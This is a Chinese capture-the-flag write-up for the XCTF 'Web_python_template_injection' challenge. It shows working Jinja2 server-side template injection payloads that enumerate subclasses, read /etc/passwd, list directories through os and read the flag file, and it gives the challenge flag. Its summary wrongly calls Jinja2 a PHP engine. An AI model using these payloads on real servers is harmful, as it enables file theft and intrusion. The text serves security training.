0
点赞
收藏
分享

微信扫一扫

【愚公系列】2022年04月 攻防世界-进阶题-WEB-014(Web_python_template_injection)

程序员阿狸 2022-04-30 阅读 47

文章目录


前言

SSTI即(server-side template injection)服务器模板,平时我们常用的有sql注入,xss注入,xml注入和命令注入等等。大家应该都知道sql注入的原理以及方式,而模板注入的原理也很类似都是通过输入一些指令在后端处理进行了语句的拼接然后执行。模板注入不同的是它是针对python、php、java、nodejs、javascript或是ruby的网站处理框架。

在这里插入图片描述

一、Web_python_template_injection

题目链接:https://adworld.xctf.org.cn/task/task_list?type=web&number=3&grade=1

二、使用步骤

1.点击获取在线场景

在这里插入图片描述

2.场景分析

在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式

2.1 判断有无模板注入

http://111.200.241.244:51429/%7B%7B7+7%7D%7D

在这里插入图片描述

2.2 查看全局变量

{{config}}

在这里插入图片描述

2.3 寻找可用引用

文件包含:是通过python的对象的继承来一步步实现文件读取和命令执行的的。

几个魔术方法:

  • __class__ 返回类型所属的对象
  • __mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
  • __base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的
  • __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
  • __init__ 类的初始化方法
  • __globals__ 对包含函数全局变量的字典的引用
{{''.__class__.__mro__[2].__subclasses__()}}

在这里插入图片描述
可以看到有一个type file类型(可以进行文件读取),而且位置在数组第40。

2.4 文件读取

{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}

在这里插入图片描述

2.4 命令执行

可以看到有一个 <class ‘site._Printer’>类型(可以进行命令执行),而且位置在数组第71。

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

在这里插入图片描述

2.5 读取文件

{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

在这里插入图片描述

2.6 得到flag

flag:ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

总结

本文简单介绍服务端模版注入漏洞如常规 Web 注入漏洞之间的关系,分析了其产生的原理,并以 PHP 模板引擎 Jinja2 为例讲解了 SSTI 常规的扫描和检测方法。虽然说 SSTI 并不广泛存在,但如果开发人员滥用模板引擎,进行不安全的编码,这样 Web 应用就可能出现 SSTI,并且根据其模板引擎的复杂性和开发语言的特性,可能会造成非常严重的问题。

举报

相关推荐

0 条评论